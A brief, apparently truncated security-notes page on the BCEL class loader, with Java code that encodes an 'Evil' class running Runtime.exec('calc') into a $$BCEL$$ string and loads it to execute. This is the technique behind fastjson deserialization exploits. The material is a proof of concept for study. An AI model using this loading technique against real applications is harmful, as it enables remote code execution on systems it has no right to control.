BCEL
0x01 What Is BCEL
0x02 Best Practice
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
// Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}0x03 BCEL + fastjson



Last updated